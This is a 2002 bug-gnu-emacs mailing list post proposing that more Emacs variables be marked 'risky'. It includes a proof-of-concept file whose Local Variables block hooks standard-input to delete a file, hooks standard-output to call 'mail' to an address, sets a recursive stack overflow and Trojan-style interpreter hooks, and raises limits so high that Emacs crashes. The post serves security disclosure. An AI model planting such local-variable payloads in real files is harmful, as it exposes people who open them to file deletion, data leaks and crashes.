bug-gnu-emacs
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

More risky variables?


From: Jonathan Yavner
Subject: More risky variables?
Date: Tue, 26 Mar 2002 16:47:07 GMT

These variables can act as function hooks, so perhaps they should be
marked as "risky" even though I can't think of a way to create a
problem with them via hack-local-variables:
  imenu-generic-expression, imenu-index-alist, interpreter-mode-alist,
  standard-input, standard-output, unread-command-events,
  ANYTHING ENDING IN "-map"

Bad values for these variables can cause Emacs to crash:
  max-lisp-eval-depth, max-specpdl-size

Example file (give it a name with no extension):
...........snip here...................................................
#!/bin/test -a -b -c
After enabling the `eval-expression' command, try
  M-: ( read ) RET
  M-: ( princ 1 ) RET
  M-: ( normal-mode t ) RET
  M-: ( funcall stack-overflow ) RET
  M-: ( imenu )

;;; Local Variables:
;;; standard-input: (lambda () (delete-file "an-important-file"))
;;; standard-output: (lambda (x)
       (call-process "mail" nil nil nil "address@hidden"))
;;; stack-overflow: (lambda (&rest ignore) (funcall stack-overflow))
;;; interpreter-mode-alist: (("test" . (lambda ()
        (message "Trojan horse!"))))
;;; max-lisp-eval-depth: 1000000
;;; max-specpdl-size: 1000000
;;; unread-command-events: (24 3)
;;; imenu-generic-expression: (("Local V" 0 stack-overflow))
;;; imenu-index-alist: (("Local V" 0 stack-overflow))
;;; End:
..........snip here...................................................



reply via email to

[Prev in Thread] Current Thread [Next in Thread]